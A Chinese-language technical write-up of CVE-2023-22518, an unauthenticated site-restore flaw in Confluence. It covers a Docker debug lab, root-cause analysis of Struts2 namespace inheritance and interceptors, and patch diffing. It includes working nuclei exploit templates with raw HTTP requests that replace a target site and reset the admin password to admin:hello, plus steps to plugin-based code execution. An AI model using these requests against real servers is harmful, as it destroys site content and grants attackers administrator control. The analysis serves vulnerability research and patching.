CVE-2023-22518 Confluence 未授权恢复站点漏洞

0x00 概述

Confluence Data Center and Server 是 Atlassian 公司提供的企业级团队协作和知识管理软件,它旨在帮助团队协同工作、共享知识、记录文档和协作编辑等。经过分析,其 /json/setup-restore 接口存在未授权访问漏洞,攻击者可以通过访问该接口对站点进行恶意恢复,从而导致站点内容被完全替换,以及管理员账号密码的重置。

字段 备注
漏洞编号 CVE-2023-22518
漏洞厂商 Atlassian Confluence
厂商官网 https://confluence.atlassian.com/
影响对象类型 Web应用
影响产品 Confluence Data Center and Server
影响版本 除 version>=7.19.16,version >= 8.3.4,version >=8.4.4,version>=8.5.3,version>=8.6.1 之外的所有版本

0x01 漏洞影响

看官方通告:https://confluence.atlassian.com/security/cve-2023-22518-improper-authorization-vulnerability-in-confluence-data-center-and-server-1311473907.html

All versions of Confluence Data Center and Server are affected by this vulnerability. This Improper Authorization vulnerability allows an unauthenticated attacker to reset Confluence and create a Confluence instance administrator account.

官方通告说的是影响所有版本,换而言之,只有版本为 version>=7.19.16,version >= 8.3.4,version >=8.4.4,version>=8.5.3,version>=8.6.1 的不受影响,其他都受影响。

0x02 漏洞环境

docker启动环境

docker-compose 启动 8.6.0

version: '2'
services:
  web:
    image: atlassian/confluence-server:8.6.0
    ports:
      - "8090:8090"
      - "5005:5005"
    depends_on:
      - db
  db:
    image: postgres:15.4-alpine
    environment: 
    - POSTGRES_PASSWORD=postgres
    - POSTGRES_DB=confluence

img

img

配置调试环境

img

-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005

上容器中修改 /opt/atlassian/confluence/bin/setenv.sh文件,加 jvm 参数,然后重启web容器:

CATALINA_OPTS="${CATALINA_OPTS} -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005"

img

在idea中加入 confluence 8.6.0依赖,下断点,访问任意路由:

img

0x03 漏洞验证和利用

nuclei运行poc:

nuclei.exe -t .\confluence-json-setup-restore-restore-system.yaml -u http://192.168.88.132:8090/ -p http://127.0.0.1:8088 -timeout 30

img

打完之后,目标站点被完全替换成一个空的confluence:

img

管理员账号密码改为 admin:hello

img

0x04 漏洞分析

主要分析几点

  1. 为什么访问 /json/setup-restore.action 相当于访问 /setup/setup-restore.action
  2. 为什么访问/json/setup-restore.action不需要登录,即为什么能未授权访问
  3. 能未授权访问 /json/setup-restore.action之后该如何利用,怎么构造poc,怎么实现rce

/setup 下的 action通过 /json 都能访问

开始调试 /json/setup-restore.action

参考:https://evilpan.com/2023/11/01/struts2-internal/#debugging-tips

发包:

nuclei.exe -t json-setup-restore-pure-post.yaml -u http://192.168.88.132:8090
id: json-setup-restore-pure-post
info:
  name: 发包,调试用
  author: inhann
  severity: high
  description: 调试
http:
- raw:
  - |+
    POST /json/setup-restore.action HTTP/1.1
    Host: {{Hostname}}
    User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
    Connection: close
    Content-Length: 0
    Accept: */*
    Accept-Language: en
    Accept-Encoding: gzip, deflate

  unsafe: false
  cookie-reuse: false
  matchers-condition: or

com.opensymphony.xwork2.config.impl.DefaultConfigurationfindActionConfigInNamespace() 下断点:

image-20231112224434153

通过 this.namespaceActionConfigs.get(namespace); 得到一个 namespace 对应的所有 action ,其中 namespace 为 /json 的 action 有213 个:

image-20231112224655674

其中就包括 setup-restore ,因而访问 /json/setup-restore.action 的时候,对应的就是调用 com.atlassian.confluence.importexport.actions.SetupRestoreAction 这个action :

image-20231112224755206

因而接下来需要调试 this.namespaceActionConfigs 是如何构建的

this.namespaceActionConfigs 是如何构建的

经过调试,大概能确定这个 this.namespaceActionConfigs 是在应用启动的时候就创建完成了,应该是根据 struts.xml 文件构建的:

image-20231112225606376

为了调试这个过程,可以在运行 docker-compose restart 之后快速点击debug :

image-20231112225913128

image-20231112225858652

测试一下这个断点的位置 /json 这个namespace 里面有没有想要的action :

namespaceActionConfigs.get("/json").get("setup-restore")

可以看到是有的:

image-20231112230112654

因而顺着调用栈往上找,寻找 namespaceActionConfigs 构建的位置,断在 com.opensymphony.xwork2.config.impl.DefaultConfigurationbuildRuntimeConfiguration()

image-20231112230808620

当前方法内,this.packageContexts 中包含着来自 package 为 json 的 action 的相关信息,但是从中可以看到,在当前位置 namespace 为 json 的 action 是不包含 setup-restore 的:

this.packageContexts.get("json").getActionConfigs()

image-20231112231547877

而紧接其后,调用了 packageConfig.getAllActionConfigs() ,这个 调用返回了211 个 action ,和 packageConfig.getActionConfigs() 只返回了 26 个action 产生了鲜明的对比,而最终进入 namespaceActionConfigs 的 action 就包括来自 packageConfig.getAllActionConfigs() 所返回的 action :

image-20231112232448180

因而,调试了解packageConfig.getAllActionConfigs() 是如何搜寻action的就很重要

packageConfig.getAllActionConfigs() 是如何搜寻action的

进行调试:

image-20231112233039865

跟进这个 getAllActionConfigs() ,可以看到调用了 parent.getAllActionConfigs() ,也就是说除了自身定义的action,一个namespace对应的action还会来自其 parent ,在这里 /json 的 parent 是 /admin ,而 /admin 的 parent 是 /setup ,来自 /admin 的 all actions 有185个:

image-20231112233733272

而 package 之间的继承关系,写在 struts.xml 当中,因为一个 packge 往往对应一个 namespace ,因而可以认为 namespace 之间的继承关系写在 struts.xml 中:

image-20231112233829123

image-20231112234821237

如果要调试如何从 xml 中读取信息构造 packageContext ,可以把断点下在com.opensymphony.xwork2.config.impl.DefaultConfigurationaddPackageConfig() 方法:

image-20231112234538484

小结

从上面的分析可以得出结论,一个namespace对应的action存在继承关系,/json 这个 namespace 继承自 /admin ,而 /admin 又继承自 /setup ,这就导致了 /admin/setup 两个 namespace 下的所有 action 都能通过 /json 访问到,其中就包括 /setup 中的 setup-restore 这个 action ,这个action对应的类是 com.atlassian.confluence.importexport.actions.SetupRestoreAction

image-20231112235131946

不用登录就能访问 /json/setup-restore.action

开始调试

为了调试这个过程,需要发另外的包:

nuclei.exe -t debug2.yaml -u http://192.168.88.132:8090
id: confluence-json-setup-restore-restore-system
info:
  name: 先post访问,拿到一个atl_toke,然后上传备份文件
  author: inhann
  severity: high
  description: 
    调试用
http:
- raw:
  - |+
    POST /json/setup-restore.action HTTP/1.1
    Host: {{Hostname}}
    User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
    Connection: close
    Content-Length: 0
    Accept: */*
    Accept-Language: en
    Accept-Encoding: gzip, deflate

  - |-
    POST /json/setup-restore.action?synchronous=true HTTP/1.1
    Host: {{Hostname}}
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: multipart/form-data; boundary=---------------------------27641609229217972931431641635
    Content-Length: 572586
    Connection: close
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1

    -----------------------------27641609229217972931431641635
    Content-Disposition: form-data; name="atl_token"

    {{token}}
    -----------------------------27641609229217972931431641635
    Content-Disposition: form-data; name="buildIndex"

    true
    -----------------------------27641609229217972931431641635
    Content-Disposition: form-data; name="file"; filename="xmlexport.zip"
    Content-Type: application/x-zip-compressed

    zipcontent
    -----------------------------27641609229217972931431641635
    Content-Disposition: form-data; name="edit"

    Upload and import
    -----------------------------27641609229217972931431641635--
  unsafe: false
  cookie-reuse: true
  matchers-condition: or
  matchers:
  - type: status
    status:
    - 302
    condition: or
  extractors:
  - type: regex
    name: token
    part: body_1
    regex:
    - name="atl_token" value="(.*)">
    group: 1
    internal: true

参考 https://xz.aliyun.com/t/12981 和 https://evilpan.com/2023/11/01/struts2-internal/

执行 action 的起点,可以认为是 org.apache.struts2.dispatcher.filter.StrutsExecuteFilterdoFilter() 方法:

image-20231113001301470

随后会触发 com.opensymphony.xwork2.DefaultActionInvocationinvoke() ,在其中尝试遍历 this.interceptors 这个 iterator 里面的所有 interceptor ,调用其 intercept() 方法,而 this 作为参数传入了这个 intercept() 方法当中:

image-20231113000812106

一般情况下,在一个 interceptor 的 intercept() 方法当中,对于调用者传入的参数,这个参数往往是一个 ActionInvokation,往往会继续调用其 invoke() 方法,比如:

image-20231113003754736

这样往往使得调用栈会格外的长,一个 interceptor A 的 intercept() 可能出现在 interceptor B 的 intercept() 的底下,但是实际上 interceptor A 的 intercept() 的主要功能已经执行完毕,从调用栈也能看出 interceptor 的执行顺序,也可以将断点断在 com.opensymphony.xwork2.DefaultActionInvocationcreateInterceptors() 查看 interceptor 的执行顺序:

image-20231113004557596

所有 interceptor 如下:

[profiling] => [com.atlassian.xwork.interceptors.XWorkProfilingInterceptor]
[securityHeaders] => [com.atlassian.confluence.security.interceptors.SecurityHeadersInterceptor]
[setupIncomplete] => [com.atlassian.confluence.xwork.SetupIncompleteInterceptor]
[transaction] => [com.atlassian.confluence.setup.struts.ConfluenceXWorkTransactionInterceptor]
[params] => [com.atlassian.xwork.interceptors.SafeParametersInterceptor]
[autowire] => [com.atlassian.confluence.core.ConfluenceAutowireInterceptor]
[lastModified] => [com.atlassian.confluence.core.actions.LastModifiedInterceptor]
[servlet] => [org.apache.struts2.interceptor.ServletConfigInterceptor]
[flashScope] => [com.atlassian.confluence.xwork.FlashScopeInterceptor]
[confluenceAccess] => [com.atlassian.confluence.security.interceptors.ConfluenceAccessInterceptor]
[spaceAware] => [com.atlassian.confluence.spaces.actions.SpaceAwareInterceptor]
[pageAware] => [com.atlassian.confluence.pages.actions.PageAwareInterceptor]
[commentAware] => [com.atlassian.confluence.pages.actions.CommentAwareInterceptor]
[userAware] => [com.atlassian.confluence.user.actions.UserAwareInterceptor]
[prepare] => [com.opensymphony.xwork2.interceptor.PrepareInterceptor]
[bootstrapAware] => [com.atlassian.confluence.setup.struts.BootstrapAwareInterceptor]
[permissions] => [com.atlassian.confluence.security.actions.PermissionCheckInterceptor]
[themeContext] => [com.atlassian.confluence.themes.ThemeContextInterceptor]
[webSudo] => [com.atlassian.confluence.security.websudo.WebSudoInterceptor]
[httpMethodValidator] => [com.atlassian.confluence.xwork.HttpMethodValidationInterceptor]
[cancel] => [com.atlassian.confluence.core.CancellingInterceptor]
[loggingContext] => [com.atlassian.confluence.util.LoggingContextInterceptor]
[eventPublisher] => [com.atlassian.confluence.event.EventPublisherInterceptor]
[messageHolder] => [com.atlassian.confluence.validation.MessageHolderInterceptor]
[httpRequestStats] => [com.atlassian.confluence.xwork.HttpRequestStatsInterceptor]
[licenseChecker] => [com.atlassian.confluence.core.ConfluenceLicenseInterceptor]
[xsrfToken] => [com.atlassian.confluence.xwork.ConfluenceXsrfTokenInterceptor]
[profiling] => [com.atlassian.xwork.interceptors.XWorkProfilingInterceptor]
[captcha] => [com.atlassian.confluence.security.interceptors.CaptchaInterceptor]
[validator] => [com.opensymphony.xwork2.validator.ValidationInterceptor]
[workflow] => [com.atlassian.confluence.core.ConfluenceWorkflowInterceptor]
[profiling] => [com.atlassian.xwork.interceptors.XWorkProfilingInterceptor]

而其中的一些,会通过调用 actionInvocation.getAction() 获取本次请求所对应的 action 对象,然后判断当前对这个 action 的请求是否合法

做这样鉴权工作的 interceptor 主要有以下几个:

在 Confluence 中,一个 Action 有两个重要的父类 com.atlassian.confluence.core.ConfluenceActionSupportcom.atlassian.confluence.core.ActionSupport 其中定义了一些confluence中的action比较特别的接口

com.atlassian.confluence.security.interceptors.ConfluenceAccessInterceptor
com.atlassian.confluence.security.actions.PermissionCheckInterceptor
com.atlassian.confluence.security.websudo.WebSudoInterceptor
com.opensymphony.xwork2.validator.ValidationInterceptor

调试 ConfluenceAccessInterceptor

image-20231113012822188

跟入,返回true:

image-20231113013101509

调试 PermissionCheckInterceptor

调用了 action 的 isPermitted() 来判断是否合法:

这个 isPermitted() 重载自 com.atlassian.confluence.core.ConfluenceActionSupport

image-20231113013352559

而对于 SetupRestoreAction 而言,直接返回 true :

image-20231113013538540

调试 WebSudoInterceptor

调试其 intercept() 方法,

image-20231113013951688

来到 webSudoManager.matches(requestURI, actionClass, actionMethod) 对一些 管理员相关操作做校验,跟入其中,可以看到先会判断访问的路由是否以 /admin/ 开头:

public boolean matches(String requestURI, Class<?> actionClass, Method method) {
    if (requestURI.startsWith("/authenticate.action")) {
        return false;
    } else {
        boolean isAdmin = requestURI.startsWith("/admin/");
        if (isAdmin) {
            return method.getAnnotation(WebSudoNotRequired.class) == null && actionClass.getAnnotation(WebSudoNotRequired.class) == null && actionClass.getPackage().getAnnotation(WebSudoNotRequired.class) == null;
        } else {
            return method.getAnnotation(WebSudoRequired.class) != null || actionClass.getAnnotation(WebSudoRequired.class) != null || actionClass.getPackage().getAnnotation(WebSudoRequired.class) != null;
        }
    }
}

image-20231113014210495

这个路由来自于 request.getServletPath()

image-20231113014341197

然后会判断所访问的 action 的 execute() 方法、action 对应的类、action对应的package,带不带 @WebSudoNotRequired 或者 @WebSudoRequired

调试 ValidationInterceptor

会调用 action 的 validate() 方法:

image-20231113014749046

而对于 SetupRestoreAction 而言,主要是判断一下传上来的zip是不是符合一定的格式,有没有一些必要的项:

com.atlassian.confluence.importexport.impl.UnexpectedImportZipFileContents: The zip file did not contain an entry 'exportDescriptor.properties'. It did not contain any files, or was not a valid zip file.s

image-20231113015102105

小结

所访问的 /json/setup-restore.action 不受 interceptor 鉴权的影响

poc 构造

POST 请求访问 /json/setup-restore.action 接口:

image-20231113020031870

image-20231113020136949

点击浏览,随便选择一个 zip 文件,然后点击上传并导入,查看一下流量:

image-20231113020310000

POST /json/setup-restore.action?synchronous=false HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------27641609229217972931431641635
Content-Length: 572586
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------27641609229217972931431641635
Content-Disposition: form-data; name="atl_token"

{{token}}
-----------------------------27641609229217972931431641635
Content-Disposition: form-data; name="buildIndex"

true
-----------------------------27641609229217972931431641635
Content-Disposition: form-data; name="file"; filename="xmlexport.zip"
Content-Type: application/x-zip-compressed

zipcontent
-----------------------------27641609229217972931431641635
Content-Disposition: form-data; name="edit"

Upload and import
-----------------------------27641609229217972931431641635--

因而需要想办法构造用于恢复的zip

构造 zip

zip 的结构有一定要求,需要满足 com.atlassian.confluence.importexport.actions.SetupRestoreActionvalidate()

image-20231113020619834

这里的思路是从这个 ExportScope.ALL 出发,寻找引用了这个常量的方法,特别是用于 setExportScope() 之类的操作,最终确定在哪个action 中可以构造一个 exportScope 是 ExportScope.ALL 的zip

具体实现步骤是先直接反编译confluence 的代码(核心代码在 \atlassian-confluence-8.6.0\confluence\WEB-INF\lib\com.atlassian.confluence_confluence-8.6.0.jar),然后直接搜 ExportScope.ALL

image-20231113023431851

确定可疑的方法:

com.atlassian.confluence.DefaultExportContext.importexport.getXmlBackupInstance()

最终确定从 com.atlassian.confluence.importexport.actions.BackupActionexecute() 出发,可以构造一个满足条件的 zip :

image-20231113022719493

image-20231113022729713

image-20231113022759947

然后访问 /json/backup.action (这个action需要登录admin):

image-20231113023752420

点击 导出:

image-20231113023827300

然后 用 docker cp 命令把 创建的 zip 拿出来就可以了

构造exp

在构造exp的时候发现需要传一个 atl_token 否则没法成功利用,所以先访问 /json/setup-restore.action 获取一个 atl_token 然后利用:

id: confluence-json-setup-restore-restore-system
info:
  name: 先post访问,拿到一个atl_toke,然后直接上传备份文件,账号为admin,密码为hello
  author: inhann
  severity: high
  description: 
    主要用到了struts2的路由特性,刚好/json能等同于/setup,访问/json/setup-restore相当于访问/setup/setup-restore,而且不用登录
http:
- raw:
  - |+
    POST /json/setup-restore.action HTTP/1.1
    Host: {{Hostname}}
    User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
    Connection: close
    Content-Length: 0
    Accept: */*
    Accept-Language: en
    Accept-Encoding: gzip, deflate

  - |-
    POST /json/setup-restore.action?synchronous=true HTTP/1.1
    Host: {{Hostname}}
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: multipart/form-data; boundary=---------------------------27641609229217972931431641635
    Content-Length: 572586
    Connection: close
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1

    -----------------------------27641609229217972931431641635
    Content-Disposition: form-data; name="atl_token"

    {{token}}
    -----------------------------27641609229217972931431641635
    Content-Disposition: form-data; name="buildIndex"

    true
    -----------------------------27641609229217972931431641635
    Content-Disposition: form-data; name="file"; filename="xmlexport.zip"
    Content-Type: application/x-zip-compressed

    {{base64_decode("zipcontent")}}
    -----------------------------27641609229217972931431641635
    Content-Disposition: form-data; name="edit"

    Upload and import
    -----------------------------27641609229217972931431641635--
  unsafe: false
  cookie-reuse: true
  matchers-condition: or
  matchers:
  - type: status
    status:
    - 302
    condition: or
  extractors:
  - type: regex
    name: token
    part: body_1
    regex:
    - name="atl_token" value="(.*)">
    group: 1
    internal: true

因为restore的过程可能需要10~20秒左右,所以设置一个 timeout 在 30 秒以内收到 response 就可以(如果不加的话nuclei默认的timeout是10秒):

nuclei.exe -t .\confluence-json-setup-restore-restore-system.yaml -u http://192.168.88.132:8090/ -p http://127.0.0.1:8088 -timeout 30

RCE

成功替换目标站点之后,可以访问管理员后台:

image-20231113034751628

点击管理应用,上传应用:https://github.com/AIex-3/confluence-hack

image-20231113034942242

安装完之后点击开始跳转:

image-20231113035042855

0x05 漏洞修复

Confluence 每次升级之后,jar包的名字可能会改,主要的更改之处在于jar包末尾的版本号,为了 diff 方便,可以把两个版本 confluence 的所有 jar 包的版本号都去了,然后直接拖到 idea 里面做对比:

import os
import re

def rename_files(directory):
    for root, dirs, files in os.walk(directory):
        for file in files:
            if file.endswith('.jar'):
                new_name = re.sub(r'[_-][\d.]*\.jar', '.jar', file)
                old_file = os.path.join(root, file)
                new_file = os.path.join(root, new_name)

                os.rename(old_file, new_file)  # rename the file

# Specify your directory here
directory = r"atlassian-confluence-8.6.1"
rename_files(directory)

可以看到,修复方式是给 SetupRestoreAction 加了两个 annotation @WebSudoRequired@SystemAdminOnly ,这样一来,在 WebSudoInterceptor 鉴权的时候,就会要求管理员登录:

image-20231113030718022

0x06 参考链接

https://xz.aliyun.com/t/12981

https://xz.aliyun.com/t/12961

https://evilpan.com/2023/11/01/struts2-internal/

免责声明:文章内容不代表本站立场,本站不对其内容的真实性、完整性、准确性给予任何担保、暗示和承诺,仅供读者参考,文章版权归原作者所有。如本文内容影响到您的合法权益(内容、图片等),请及时联系本站,我们会及时删除处理。查看原文

为您推荐